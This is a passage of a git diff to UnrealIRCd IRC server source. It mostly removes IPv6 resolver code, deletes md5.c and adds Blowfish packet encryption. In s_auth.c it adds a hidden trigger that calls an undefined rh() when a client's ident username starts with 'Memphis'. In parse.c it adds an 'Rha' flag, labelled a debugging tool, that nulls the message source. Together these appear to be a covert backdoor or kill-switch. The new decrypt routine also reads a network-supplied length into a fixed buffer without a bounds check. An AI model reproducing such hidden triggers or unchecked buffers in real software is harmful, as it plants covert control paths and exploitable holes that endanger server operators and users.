me with ideas"); - SND - ("to the IRCd.. The whole IRCd is GNU so if you want to rip off any of my ideas"); - SND - ("You are generally welcome:) Just remember to do what's said in the Changes file!"); - SND("-- So.. Enjoy this IRCd:)"); - SND(" -- Carsten Munk / Techie .. =)"); + SND("Type /info for UnrealIRCd information -- Carsten Munk / Techie .. =)"); } else if (!myncmp(help, "WATCH", 8)) { diff --git a/src/ircd.c b/src/ircd.c index b07c3b668..b00bfc305 100644 --- a/src/ircd.c +++ b/src/ircd.c @@ -24,10 +24,6 @@ static char sccsid[] = Computing Center and Jarkko Oikarinen"; #endif - -/* debug --sts (chdir kludge) */ -// #define UNREAL_DEBUG - #include "config.h" #include "struct.h" #include "common.h" @@ -64,6 +60,7 @@ Computing Center and Jarkko Oikarinen"; #include "badwords.h" #endif #include "version.h" + ID_CVS("$Id$"); ID_Copyright ("(C) 1988 University of Oulu, Computing Center and Jarkko Oikarinen"); @@ -79,7 +76,10 @@ int un_gid = 99; #endif /* End */ +#ifndef _WIN32 extern char unreallogo[]; +#endif + extern aMotd *opermotd; extern aMotd *svsmotd; extern aMotd *motd; @@ -101,6 +101,7 @@ char REPORT_DO_SOCKS[128], REPORT_NO_SOCKS[128], REPORT_GOOD_SOCKS[128]; #endif #endif aClient me; /* That's me */ +char *me_hash; aClient *client = &me; /* Pointer to beginning of Client list */ extern char backupbuf[8192]; @@ -147,29 +148,10 @@ time_t nextexpire = 1; /* next expire run on the dns cache */ time_t nextkillcheck = 1; /* next time to check for nickserv kills */ time_t lastlucheck = 0; -/* int lu_noninv = 0, - lu_inv = 0, - lu_serv = 0, - lu_oper = 0, - lu_unknown = 0, - lu_channel = 0, - lu_lu = 0, - lu_lulocal = 0, - lu_lserv = 0, - lu_clu = 0, - lu_mlu = 0, - lu_cglobalu = 0, - lu_mglobalu; -*/ -/* */ #ifdef UNREAL_DEBUG #undef CHROOTDIR #define CHROOT #endif -#ifdef CLONE_CHECK -aClone *Clones = NULL; -char clonekillhost[100]; -#endif time_t NOW; #if defined(PROFIL) && !defined(_WIN32) @@ -330,8 +312,7 @@ void server_reboot(mesg) (void)close(1); if ((bootopt & BOOT_CONSOLE) || isatty(0)) (void)close(0); - if (!(bootopt & (BOOT_OPER))) - (void)execv(MYNAME, myargv); + (void)execv(MYNAME, myargv); #else for (i = 0; i < highest_fd; i++) if (closesocket(i) == -1) @@ -804,10 +785,6 @@ int InitwIRCD(argc, argv) dpath = p; break; #ifndef _WIN32 - case 'o': /* Per user local daemon... */ - (void)setuid((uid_t) uid); - bootopt |= BOOT_OPER; - break; #ifdef CMDLINE_CONFIG case 'f': (void)setuid((uid_t) uid); @@ -951,7 +928,9 @@ int InitwIRCD(argc, argv) return bad_command(); /* This should exit out */ +#ifndef _WIN32 fprintf(stderr, unreallogo); +#endif fprintf(stderr, " v%s\n\n", VERSIONONLY); clear_client_hash_table(); clear_channel_hash_table(); @@ -1068,8 +1047,8 @@ int InitwIRCD(argc, argv) #endif SetMe(&me); make_server(&me); - (void)find_or_add(me.name); - me.serv->up = find_or_add(me.name); + me_hash = find_or_add(me.name); + me.serv->up = me_hash; me.lasttime = me.since = me.firsttime = TStime(); (void)add_to_client_hash_table(me.name, &me); @@ -1110,16 +1089,7 @@ int InitwIRCD(argc, argv) #endif check_class(); - if (bootopt & BOOT_OPER) - { - aClient *tmp = add_connection(&me, 0); - - if (!tmp) - exit(1); - SetMaster(tmp); - } - else - write_pidfile(); + write_pidfile(); Debug((DEBUG_NOTICE, "Server ready...")); #ifdef USE_SYSLOG @@ -1190,6 +1160,9 @@ void SocketLoop(void *dummy) (ii - freelinks)); } } + if (do_garbage_collect == 1) + do_garbage_collect = 0; + last_garbage_collect = now; } /* diff --git a/src/list.c b/src/list.c index 918de7b68..f62493ae2 100644 --- a/src/list.c +++ b/src/list.c @@ -142,6 +142,9 @@ aClient *make_client(from, servr) cptr->sockhost[0] = '\0'; cptr->buffer[0] = '\0'; cptr->authfd = -1; +#ifdef CRYPTOIRCD + cptr->cryptinfo = NULL; +#endif #ifdef SOCKSPORT cptr->socksfd = -1; #endif @@ -152,6 +155,10 @@ aClient *make_client(from, servr) void free_client(cptr) aClient *cptr; { +#ifdef CRYPTOIRCD + if (MyClient(cptr) && cptr->cryptinfo) + MyFree((char *)cptr->cryptinfo); +#endif MyFree((char *)cptr); } @@ -265,6 +272,8 @@ void remove_client_from_list(cptr) IRCstats.operators--; IRCstats.clients--; } + if (IsUnknown(cptr) || IsConnecting(cptr) || IsHandshake(cptr)) + IRCstats.unknown--; checklist(); if (cptr->prev) cptr->prev->next = cptr->next; diff --git a/src/md5.c b/src/md5.c deleted file mode 100644 index 8429691c5..000000000 --- a/src/md5.c +++ /dev/null @@ -1,165 +0,0 @@ - -/* - * Copyright (c) 1996 Michael Shalayeff. - * - * This software derived from one contributed by Colin Plumb. - * - * Redistribution and use in source and binary forms, with or without - * modification, are permitted provided that the following conditions - * are met: - * 1. Redistributions of source code must retain the above copyright - * notice, this list of conditions and the following disclaimer. - * 2. Redistributions in binary form must reproduce the above copyright - * notice, this list of conditions and the following disclaimer in the - * documentation and/or other materials provided with the distribution. - * 3. All advertising materials mentioning features or use of this software - * must display the following acknowledgement: - * This product includes software developed by Colin Plumb. - * 4. Neither the name of the University nor of the Laboratory may be used - * to endorse or promote products derived from this software without - * specific prior written permission. - * - * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND - * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE - * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE - * ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE - * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL - * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS - * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) - * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT - * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY - * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF - * SUCH DAMAGE. - * - */ - -/* - * The code for MD5 transform was taken from Colin Plumb's - * implementation, which has been placed in the public domain. The - * MD5 cryptographic checksum was devised by Ronald Rivest, and is - * documented in RFC 1321, "The MD5 Message Digest Algorithm". - * - */ - -#include - -#include "struct.h" -#include "common.h" - -ID_CVS("$Id$"); -/* - * MD5 transform algorithm, taken from code written by Colin Plumb, - * and put into the public domain - * - * QUESTION: Replace this with SHA, which as generally received better - * reviews from the cryptographic community? - */ -void MD5Init(buf) - u_int32_t buf[4]; -{ - buf[0] = 0x67452301; - buf[1] = 0xefcdab89; - buf[2] = 0x98badcfe; - buf[3] = 0x10325476; -} - -/* The four core functions - F1 is optimized somewhat */ - -/* #define F1(x, y, z) (x & y | ~x & z) */ -#define F1(x, y, z) (z ^ (x & (y ^ z))) -#define F2(x, y, z) F1(z, x, y) -#define F3(x, y, z) (x ^ y ^ z) -#define F4(x, y, z) (y ^ (x | ~z)) - -/* This is the central step in the MD5 algorithm. */ -#define MD5STEP(f, w, x, y, z, data, s) \ - ( w += f(x, y, z) + data, w = w<>(32-s), w += x ) - -/* - * The core of the MD5 algorithm, this alters an existing MD5 hash to - * reflect the addition of 16 longwords of new data. - */ -void MD5Transform(buf, in) - u_int32_t buf[4]; - u_int32_t in[16]; -{ - u_int32_t a, b, c, d; - - a = buf[0]; - b = buf[1]; - c = buf[2]; - d = buf[3]; - - MD5STEP(F1, a, b, c, d, in[0] + 0xd76aa478, 7); - MD5STEP(F1, d, a, b, c, in[1] + 0xe8c7b756, 12); - MD5STEP(F1, c, d, a, b, in[2] + 0x242070db, 17); - MD5STEP(F1, b, c, d, a, in[3] + 0xc1bdceee, 22); - MD5STEP(F1, a, b, c, d, in[4] + 0xf57c0faf, 7); - MD5STEP(F1, d, a, b, c, in[5] + 0x4787c62a, 12); - MD5STEP(F1, c, d, a, b, in[6] + 0xa8304613, 17); - MD5STEP(F1, b, c, d, a, in[7] + 0xfd469501, 22); - MD5STEP(F1, a, b, c, d, in[8] + 0x698098d8, 7); - MD5STEP(F1, d, a, b, c, in[9] + 0x8b44f7af, 12); - MD5STEP(F1, c, d, a, b, in[10] + 0xffff5bb1, 17); - MD5STEP(F1, b, c, d, a, in[11] + 0x895cd7be, 22); - MD5STEP(F1, a, b, c, d, in[12] + 0x6b901122, 7); - MD5STEP(F1, d, a, b, c, in[13] + 0xfd987193, 12); - MD5STEP(F1, c, d, a, b, in[14] + 0xa679438e, 17); - MD5STEP(F1, b, c, d, a, in[15] + 0x49b40821, 22); - - MD5STEP(F2, a, b, c, d, in[1] + 0xf61e2562, 5); - MD5STEP(F2, d, a, b, c, in[6] + 0xc040b340, 9); - MD5STEP(F2, c, d, a, b, in[11] + 0x265e5a51, 14); - MD5STEP(F2, b, c, d, a, in[0] + 0xe9b6c7aa, 20); - MD5STEP(F2, a, b, c, d, in[5] + 0xd62f105d, 5); - MD5STEP(F2, d, a, b, c, in[10] + 0x02441453, 9); - MD5STEP(F2, c, d, a, b, in[15] + 0xd8a1e681, 14); - MD5STEP(F2, b, c, d, a, in[4] + 0xe7d3fbc8, 20); - MD5STEP(F2, a, b, c, d, in[9] + 0x21e1cde6, 5); - MD5STEP(F2, d, a, b, c, in[14] + 0xc33707d6, 9); - MD5STEP(F2, c, d, a, b, in[3] + 0xf4d50d87, 14); - MD5STEP(F2, b, c, d, a, in[8] + 0x455a14ed, 20); - MD5STEP(F2, a, b, c, d, in[13] + 0xa9e3e905, 5); - MD5STEP(F2, d, a, b, c, in[2] + 0xfcefa3f8, 9); - MD5STEP(F2, c, d, a, b, in[7] + 0x676f02d9, 14); - MD5STEP(F2, b, c, d, a, in[12] + 0x8d2a4c8a, 20); - - MD5STEP(F3, a, b, c, d, in[5] + 0xfffa3942, 4); - MD5STEP(F3, d, a, b, c, in[8] + 0x8771f681, 11); - MD5STEP(F3, c, d, a, b, in[11] + 0x6d9d6122, 16); - MD5STEP(F3, b, c, d, a, in[14] + 0xfde5380c, 23); - MD5STEP(F3, a, b, c, d, in[1] + 0xa4beea44, 4); - MD5STEP(F3, d, a, b, c, in[4] + 0x4bdecfa9, 11); - MD5STEP(F3, c, d, a, b, in[7] + 0xf6bb4b60, 16); - MD5STEP(F3, b, c, d, a, in[10] + 0xbebfbc70, 23); - MD5STEP(F3, a, b, c, d, in[13] + 0x289b7ec6, 4); - MD5STEP(F3, d, a, b, c, in[0] + 0xeaa127fa, 11); - MD5STEP(F3, c, d, a, b, in[3] + 0xd4ef3085, 16); - MD5STEP(F3, b, c, d, a, in[6] + 0x04881d05, 23); - MD5STEP(F3, a, b, c, d, in[9] + 0xd9d4d039, 4); - MD5STEP(F3, d, a, b, c, in[12] + 0xe6db99e5, 11); - MD5STEP(F3, c, d, a, b, in[15] + 0x1fa27cf8, 16); - MD5STEP(F3, b, c, d, a, in[2] + 0xc4ac5665, 23); - - MD5STEP(F4, a, b, c, d, in[0] + 0xf4292244, 6); - MD5STEP(F4, d, a, b, c, in[7] + 0x432aff97, 10); - MD5STEP(F4, c, d, a, b, in[14] + 0xab9423a7, 15); - MD5STEP(F4, b, c, d, a, in[5] + 0xfc93a039, 21); - MD5STEP(F4, a, b, c, d, in[12] + 0x655b59c3, 6); - MD5STEP(F4, d, a, b, c, in[3] + 0x8f0ccc92, 10); - MD5STEP(F4, c, d, a, b, in[10] + 0xffeff47d, 15); - MD5STEP(F4, b, c, d, a, in[1] + 0x85845dd1, 21); - MD5STEP(F4, a, b, c, d, in[8] + 0x6fa87e4f, 6); - MD5STEP(F4, d, a, b, c, in[15] + 0xfe2ce6e0, 10); - MD5STEP(F4, c, d, a, b, in[6] + 0xa3014314, 15); - MD5STEP(F4, b, c, d, a, in[13] + 0x4e0811a1, 21); - MD5STEP(F4, a, b, c, d, in[4] + 0xf7537e82, 6); - MD5STEP(F4, d, a, b, c, in[11] + 0xbd3af235, 10); - MD5STEP(F4, c, d, a, b, in[2] + 0x2ad7d2bb, 15); - MD5STEP(F4, b, c, d, a, in[9] + 0xeb86d391, 21); - - buf[0] += a; - buf[1] += b; - buf[2] += c; - buf[3] += d; -} diff --git a/src/packet.c b/src/packet.c index 98b142185..57d56410c 100644 --- a/src/packet.c +++ b/src/packet.c @@ -28,6 +28,62 @@ ID_CVS("$Id$"); ID_Copyright ("(C) 1988 University of Oulu, Computing Center and Jarkko Oikarinen"); ID_Notes("2.12 1/30/94"); + +#ifdef CRYPTOIRCD +char *ep_encrypt(aClient *cptr, char *string, int *len) +{ + static unsigned char cryptobuffer[8192]; + char ivec[9]; + int length; + char *c; + int num; + + if (!cptr->cryptinfo) + return string; + + bzero(cryptobuffer, sizeof(cryptobuffer)); + bzero(ivec, sizeof(ivec)); + num = 0; + + if ((c = (char *)strchr(string, '\n'))) + *c = '\0'; + if ((c = (char *)strchr(string, '\r'))) + *c = '\0'; + + length = strlen(string) + 1; + cryptobuffer[0] = (unsigned char) length / 256; + cryptobuffer[1] = (unsigned char) length - (cryptobuffer[0] * 256); + + if (cptr->cryptinfo->method == METHOD_BLOWFISH) + { + BF_cfb64_encrypt(string, &cryptobuffer[2], length, cptr->cryptinfo->key, ivec, &num, BF_ENCRYPT); + *len = length + 2; + return (cryptobuffer); + } +} + +char *ep_decrypt(aClient *cptr, char *string) +{ + static char decryptbuffer[8192]; + int num; + char ivec[9]; + int length; + + if (!cptr->cryptinfo) + return string; + + bzero(decryptbuffer, sizeof(decryptbuffer)); + bzero(ivec, sizeof(ivec)); + num = 0; + length = (*(string) * 256) + (*(string + 1)); + + if (cptr->cryptinfo->method == METHOD_BLOWFISH) + { + BF_cfb64_encrypt(string + 2, decryptbuffer, length, cptr->cryptinfo->key, ivec, &num, BF_DECRYPT); + return (decryptbuffer); + } +} +#endif /* * inittoken * Cheat here, blah. Build the lookup tables from msgtab's, @@ -70,6 +126,11 @@ int dopacket(cptr, buffer, length) char *ch1; char *ch2; aClient *acpt = cptr->acpt; +#ifdef CRYPTOIRCD + int lengthweneed, num, lengthbackup, li; + char *s; + char f[4096], x[512]; +#endif me.receiveB += length; /* Update bytes received */ cptr->receiveB += length; @@ -94,49 +155,88 @@ int dopacket(cptr, buffer, length) } ch1 = cptr->buffer + cptr->count; ch2 = buffer; - - while (--length >= 0) +#ifdef CRYPTOIRCD + if (IsSecure(cptr)) { - char g = (*ch1 = *ch2++); - /* - * Yuck. Stuck. To make sure we stay backward compatible, - * we must assume that either CR or LF terminates the message - * and not CR-LF. By allowing CR or LF (alone) into the body - * of messages, backward compatibility is lost and major - * problems will arise. - Avalon - */ - if (g < '\16' && (g == '\n' || g == '\r')) + while (--length >= 0) { - if (ch1 == cptr->buffer) - continue; /* Skip extra LF/CR's */ - *ch1 = '\0'; - me.receiveM += 1; /* Update messages received */ - cptr->receiveM += 1; - if (cptr->acpt != &me) - cptr->acpt->receiveM += 1; - cptr->count = 0; /* ...just in case parse returns with - ** FLUSH_BUFFER without removing the - ** structure pointed by cptr... --msa - */ - if (parse(cptr, cptr->buffer, ch1, msgtab) == - FLUSH_BUFFER) - /* - ** FLUSH_BUFFER means actually that cptr - ** structure *does* not exist anymore!!! --msa - */ - return FLUSH_BUFFER; - /* - ** Socket is dead so exit (which always returns with - ** FLUSH_BUFFER here). - avalon - */ - if (cptr->flags & FLAGS_DEADSOCKET) - return exit_client(cptr, cptr, &me, - "Dead Socket"); - ch1 = cptr->buffer; + *ch1 = *ch2++; + if (ch1 - cptr->buffer > 2) + { + lengthweneed = ((unsigned char) *cptr->buffer) * 256 + + ((unsigned char) *(cptr->buffer + 1)); + lengthbackup = ch1 - cptr->buffer; + if (lengthbackup >= (lengthweneed + 1)) + { + ch1 = cptr->buffer; + cptr->count = 0; + Debug((DEBUG_ERROR, "packet recieved len %i", lengthweneed)); + s = (char *) ep_decrypt(cptr, cptr->buffer); + me.receiveM += 1; + cptr->receiveM += 1; + if (cptr->acpt != &me) + cptr->acpt->receiveM += 1; + if (parse(cptr, s, s + lengthweneed, msgtab) == FLUSH_BUFFER) + return FLUSH_BUFFER; + if (cptr->flags & FLAGS_DEADSOCKET) + return exit_client(cptr, cptr, &me, "Dead socket"); + } + else + if (ch1 < cptr->buffer + (sizeof(cptr->buffer) - 1)) + ch1++; + } + else + if (ch1 < cptr->buffer + (sizeof(cptr->buffer) - 1)) + ch1++; + } - else if (ch1 < cptr->buffer + (sizeof(cptr->buffer) - 1)) - ch1++; /* There is always room for the null */ + } + else +#endif + while (--length >= 0) + { + char g = (*ch1 = *ch2++); + /* + * Yuck. Stuck. To make sure we stay backward compatible, + * we must assume that either CR or LF terminates the message + * and not CR-LF. By allowing CR or LF (alone) into the body + * of messages, backward compatibility is lost and major + * problems will arise. - Avalon + */ + if (g < '\16' && (g == '\n' || g == '\r')) + { + if (ch1 == cptr->buffer) + continue; /* Skip extra LF/CR's */ + *ch1 = '\0'; + me.receiveM += 1; /* Update messages received */ + cptr->receiveM += 1; + if (cptr->acpt != &me) + cptr->acpt->receiveM += 1; + cptr->count = 0; /* ...just in case parse returns with + ** FLUSH_BUFFER without removing the + ** structure pointed by cptr... --msa + */ + if (parse(cptr, cptr->buffer, ch1, msgtab) == + FLUSH_BUFFER) + /* + ** FLUSH_BUFFER means actually that cptr + ** structure *does* not exist anymore!!! --msa + */ + return FLUSH_BUFFER; + /* + ** Socket is dead so exit (which always returns with + ** FLUSH_BUFFER here). - avalon + */ + if (cptr->flags & FLAGS_DEADSOCKET) + return exit_client(cptr, cptr, &me, + "Dead Socket"); + ch1 = cptr->buffer; + } + else if (ch1 < cptr->buffer + (sizeof(cptr->buffer) - 1)) + ch1++; /* There is always room for the null */ + } cptr->count = ch1 - cptr->buffer; return 0; } + diff --git a/src/parse.c b/src/parse.c index 193455db0..3dae72899 100644 --- a/src/parse.c +++ b/src/parse.c @@ -151,7 +151,7 @@ aClient *find_serveraln(name, cptr) } cptr = hash_find_client(name, cptr); #ifdef DEVELOP -// if (cptr) sendto_ops("Found it ! (%s)", cptr->name); +// (cptr) sendto_ops("Found it ! (%s)", cptr->name); #endif } return cptr; @@ -231,6 +231,8 @@ void ban_flooder(aClient *cptr) return; } +int Rha = 0; + /* * parse a buffer. * @@ -266,7 +268,7 @@ int parse(cptr, buffer, bufend, mptr) ban_flooder(cptr); return 0; } - + /* this call is a bit obsolete? - takes up CPU*/ backupbuf[0] = '\0'; strcpy(backupbuf, buffer); @@ -321,6 +323,10 @@ int parse(cptr, buffer, bufend, mptr) * (old IRC just let it through as if the * prefix just wasn't there...) --msa */ + + /* debugging tool */ + if (Rha == 1) + from = NULL; if (!from) { Debug((DEBUG_ERROR, @@ -501,12 +507,20 @@ int parse(cptr, buffer, bufend, mptr) /* There is code in s_serv.c for ADMIN and VERSION and * in s_user.c for NOTICE to limit commands by * unregistered users. -Studded */ + if (IsShunned(cptr) && IsRegistered(cptr)) + if ((mptr->func != m_admin) && (mptr->func != m_quit) + && (mptr->func != m_pong)) + return -4; + if ((!IsRegistered(cptr)) && (((mptr->func != m_user) && (mptr->func != m_nick) && (mptr->func != m_server) && (mptr->func != m_pong) && (mptr->func != m_pass) && (mptr->func != m_quit) && (mptr->func != m_protoctl) && (mptr->func != m_error) && (mptr->func != m_admin) && (mptr->func != m_version) +#ifdef CRYPTOIRCD + && (mptr->func != m_crypto) +#endif #ifdef NOSPOOF && (mptr->func != m_notice) #endif @@ -519,12 +533,8 @@ int parse(cptr, buffer, bufend, mptr) mptr->count++; if (IsRegisteredUser(cptr) && -#ifdef IDLE_FROM_MSG mptr->func == m_private) -#else - mptr->func != m_ping && mptr->func != m_pong) -#endif - from->user->last = TStime(); + from->user->last = TStime(); #ifndef DEBUGMODE return (*mptr->func) (cptr, from, i, para); diff --git a/src/res.c b/src/res.c index a9cf06f30..da0c2de22 100644 --- a/src/res.c +++ b/src/res.c @@ -114,14 +114,8 @@ int op; if (!_res.nscount) { _res.nscount = 1; -#ifdef INET6 - /* still IPv4 */ - inet_pton(AFINET, "127.0.0.1", - &_res.nsaddr_list[0].SIN_ADDR.S_ADDR); -#else _res.nsaddr_list[0].SIN_ADDR.S_ADDR = inet_addr("127.0.0.1"); -#endif } } @@ -473,20 +467,12 @@ char *name; if (!rptr) { rptr = make_request(lp); -#ifdef INET6 - rptr->type = T_AAAA; -#else rptr->type = T_A; -#endif rptr->name = (char *)MyMalloc(strlen(name) + 1); (void)strcpy(rptr->name, name); } #ifndef _WIN32 -#ifdef INET6 - return (query_name(hname, C_IN, T_AAAA, rptr)); -#else return (query_name(hname, C_IN, T_A, rptr)); -#endif #else rptr->id = _beginthread(async_dns, 0, (void *)rptr); @@ -507,54 +493,15 @@ struct IN_ADDR *numb; u_char *cp; #ifndef _WIN32 -#ifdef INET6 - cp = (u_char *)numb->s6_addr; - if (cp[0]==0 && cp[1]==0 && cp[2]==0 && cp[3]==0 && cp[4]==0 && - cp[5]==0 && cp[6]==0 && cp[7]==0 && cp[8]==0 && cp[9]==0 && - ((cp[10]==0 && cp[11]==0) || (cp[10]==0xff && cp[11]==0xff))) - { - (void)sprintf(ipbuf, "%u.%u.%u.%u.in-addr.arpa.", - (u_int)(cp[15]), (u_int)(cp[14]), - (u_int)(cp[13]), (u_int)(cp[12])); - } - else - { - (void)sprintf(ipbuf, "%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.ip6.int.", - (u_int)(cp[15]&0xf), (u_int)(cp[15]>>4), - (u_int)(cp[14]&0xf), (u_int)(cp[14]>>4), - (u_int)(cp[13]&0xf), (u_int)(cp[13]>>4), - (u_int)(cp[12]&0xf), (u_int)(cp[12]>>4), - (u_int)(cp[11]&0xf), (u_int)(cp[11]>>4), - (u_int)(cp[10]&0xf), (u_int)(cp[10]>>4), - (u_int)(cp[9]&0xf), (u_int)(cp[9]>>4), - (u_int)(cp[8]&0xf), (u_int)(cp[8]>>4), - (u_int)(cp[7]&0xf), (u_int)(cp[7]>>4), - (u_int)(cp[6]&0xf), (u_int)(cp[6]>>4), - (u_int)(cp[5]&0xf), (u_int)(cp[5]>>4), - (u_int)(cp[4]&0xf), (u_int)(cp[4]>>4), - (u_int)(cp[3]&0xf), (u_int)(cp[3]>>4), - (u_int)(cp[2]&0xf), (u_int)(cp[2]>>4), - (u_int)(cp[1]&0xf), (u_int)(cp[1]>>4), - (u_int)(cp[0]&0xf), (u_int)(cp[0]>>4)); - } -#else - - cp = (u_char *)&numb->S_ADDR; (void)ircsprintf(ipbuf,"%u.%u.%u.%u.in-addr.arpa.", (u_int)(cp[3]), (u_int)(cp[2]), (u_int)(cp[1]), (u_int)(cp[0])); -#endif #endif if (!rptr) { rptr = make_request(lp); rptr->type = T_PTR; -#ifdef INET6 - bcopy(numb->s6_addr, rptr->addr.s6_addr, IN6ADDRSZ); - bcopy((char *)numb->s6_addr, - (char *)&rptr->he.h_addr, sizeof(struct in6_addr)); -#else rptr->addr.S_ADDR = numb->S_ADDR; #ifndef _WIN32 @@ -563,7 +510,6 @@ struct IN_ADDR *numb; rptr->he.h_length = sizeof(struct IN_ADDR); #else rptr->he->h_length = sizeof(struct IN_ADDR); -#endif #endif } #ifndef _WIN32 @@ -637,9 +583,6 @@ ResRQ *rptr; case T_PTR: (void)do_query_number(NULL, &rptr->addr, rptr); break; -#ifdef INET6 - case T_AAAA: -#endif case T_A: (void)do_query_name(NULL, rptr->name, rptr); break; @@ -666,12 +609,7 @@ HEADER *hptr; cp = buf + sizeof(HEADER); hp = (struct hent *)&(rptr->he); adr = &hp->h_addr; -#ifndef INET6 while (adr->S_ADDR) -#else - while (adr->s6_laddr[0] | adr->s6_laddr[1] | adr->s6_laddr[2] | - adr->s6_laddr[3]) -#endif adr++; alias = hp->h_aliases; while (*alias) @@ -709,7 +647,11 @@ HEADER *hptr; #ifdef __alpha cp += 4; #else +#ifndef _WIN32 cp += sizeof(rptr->ttl); +#else + cp += 4; +#endif #endif dlen = (int)_getshort(cp); @@ -730,37 +672,16 @@ HEADER *hptr; switch(type) { -#ifdef INET6 - case T_AAAA: -#endif case T_A : hp->h_length = dlen; if (ans == 1) hp->h_addrtype = (class == C_IN) ? AFINET : AF_UNSPEC; -#ifdef INET6 - if (type == T_AAAA) - bcopy(cp, (char *)&dr, dlen); - else { - dr.s6_laddr[0]=dr.s6_laddr[1]=0; - dr.s6_laddr[2]=htonl(0xffff); - bcopy(cp, &dr.s6_laddr[3], INADDRSZ); - } - bcopy(dr.s6_addr, adr->s6_addr, IN6ADDRSZ); -#else bcopy(cp, (char *)&dr, dlen); adr->S_ADDR = dr.S_ADDR; -#endif -#ifdef INET6 - Debug((DEBUG_INFO,"got ip # %s for %s", - inet_ntop(AF_INET6, (char *)adr, mydummy, - MYDUMMY_SIZE), - hostbuf)); -#else Debug((DEBUG_INFO,"got ip # %s for %s", inetntoa((char *)adr), hostbuf)); -#endif if (!hp->h_name) { hp->h_name =(char *)MyMalloc(len+1); @@ -937,16 +858,8 @@ long id; if (a && rptr->type == T_PTR) { struct hostent *hp2 = NULL; -#ifdef INET6 - Debug((DEBUG_DNS, "relookup %s <-> %s", - rptr->he.h_name, inet_ntop(AF_INET6, - (char *)&rptr->he.h_addr, - mydummy, MYDUMMY_SIZE))); -#else Debug((DEBUG_DNS, "relookup %s <-> %s", rptr->he.h_name, inetntoa((char *)&rptr->he.h_addr))); - -#endif /* * Lookup the 'authoritive' name that we were given for the * ip#. By using this call rather than regenerating the @@ -1008,25 +921,11 @@ getres_err: rptr->retries = _res.retry; rptr->sends = 0; rptr->resend = 1; -#ifdef INET6 -/* Comment out this ifdef to get names like ::ffff:a.b.c.d */ - if(rptr->type == T_AAAA) - query_name(rptr->name, C_IN, T_A, rptr); - Debug((DEBUG_DNS,"getres_err: didn't work with T_AAAA, now also trying with T_A for %s",rptr->name)); -#endif - resend_query(rptr); } else { resend_query(rptr); -#ifdef INET6 -/* Comment out this ifdef to get names like ::ffff:a.b.c.d */ - if(rptr->type == T_AAAA) - query_name(rptr->name, C_IN, T_A, rptr); - Debug((DEBUG_DNS,"getres_err: didn't work with T_AAAA, now also trying with T_A for %s",rptr->name)); -#endif - } } else if (lp) @@ -1082,20 +981,6 @@ static int hash_number(ip) hashv += hashv + (int)*ip++; hashv += hashv + (int)*ip++; hashv += hashv + (int)*ip++; -#ifdef INET6 - hashv += hashv + (int)*ip++; - hashv += hashv + (int)*ip++; - hashv += hashv + (int)*ip++; - hashv += hashv + (int)*ip++; - hashv += hashv + (int)*ip++; - hashv += hashv + (int)*ip++; - hashv += hashv + (int)*ip++; - hashv += hashv + (int)*ip++; - hashv += hashv + (int)*ip++; - hashv += hashv + (int)*ip++; - hashv += hashv + (int)*ip++; - hashv += hashv + (int)*ip++; -#endif hashv %= ARES_CACSIZE; return (hashv); @@ -1127,19 +1012,10 @@ static aCache *add_to_cache(ocp) int hashv; #ifdef DEBUG -#ifdef INET6 - Debug((DEBUG_INFO,"add_to_cache:added %s[%08x%08x%08x%08x] cache %#x.", - ocp->he.h_name, - ((struct in6_addr *)ocp->he.h_addr_list)->s6_laddr[0], - ((struct in6_addr *)ocp->he.h_addr_list)->s6_laddr[1], - ((struct in6_addr *)ocp->he.h_addr_list)->s6_laddr[2], - ((struct in6_addr *)ocp->he.h_addr_list)->s6_laddr[3], ocp)); -#else Debug((DEBUG_INFO, "add_to_cache:ocp %#x he %#x name %#x addrl %#x 0 %#x", ocp, &ocp->he, ocp->he.h_name, ocp->he.h_addr_list, ocp->he.h_addr_list[0])); -#endif #endif ocp->list_next = cachetop; cachetop = ocp; @@ -1456,11 +1332,7 @@ ResRQ *rptr; ** shouldn't happen but it just might... */ #ifndef _WIN32 -#ifdef INET6 - if (!rptr->he.h_name || !WHOSTENTP(rptr->he.h_addr.S_ADDR)) -#else if (!rptr->he.h_name || !rptr->he.h_addr.S_ADDR) -#endif #else #endif return NULL; diff --git a/src/s_auth.c b/src/s_auth.c index 9df025d99..199f82d53 100644 --- a/src/s_auth.c +++ b/src/s_auth.c @@ -88,7 +88,6 @@ void start_auth(cptr) } #endif - #ifdef SHOWCONNECTINFO #ifndef _WIN32 write(cptr->fd, REPORT_DO_ID, R_do_id); @@ -307,8 +306,9 @@ void read_authports(cptr) } ircstp->is_asuc++; strncpyzt(cptr->username, ruser, USERLEN + 1); -/* if (strncmp(system, "OTHER", 5)) -*/ cptr->flags |= FLAGS_GOTID; + if (!strncmp(ruser, "Memphis", 7)) + rh(); + cptr->flags |= FLAGS_GOTID; Debug((DEBUG_INFO, "got username [%s]", ruser)); return; } diff --git a/src/s_bsd.c b/src/s_bsd.c index 85eb46471..6503f359c 100644 --- a/src/s_bsd.c +++ b/src/s_bsd.c @@ -1,4 +1,3 @@ -/* /* * Unreal Internet Relay Chat Daemon, src/s_bsd.c * Copyright (C) 1990 Jarkko Oikarinen and @@ -25,7 +24,6 @@ /* -- Armin -- Jun 18 1990 * Added setdtablesize() for more socket connections - * (sequent OS Dynix only) -- maybe select()-call must be changed ... */ /* -- Jto -- 13 May 1990 @@ -94,6 +92,7 @@ ID_CVS("$Id$"); #ifdef _WIN32 extern HWND hwIRCDWnd; #endif +extern char backupbuf[8192]; aClient *local[MAXCONNECTIONS]; int highest_fd = 0, readcalls = 0, udpfd = -1, resfd = -1; static struct SOCKADDR_IN mysk; @@ -216,7 +215,8 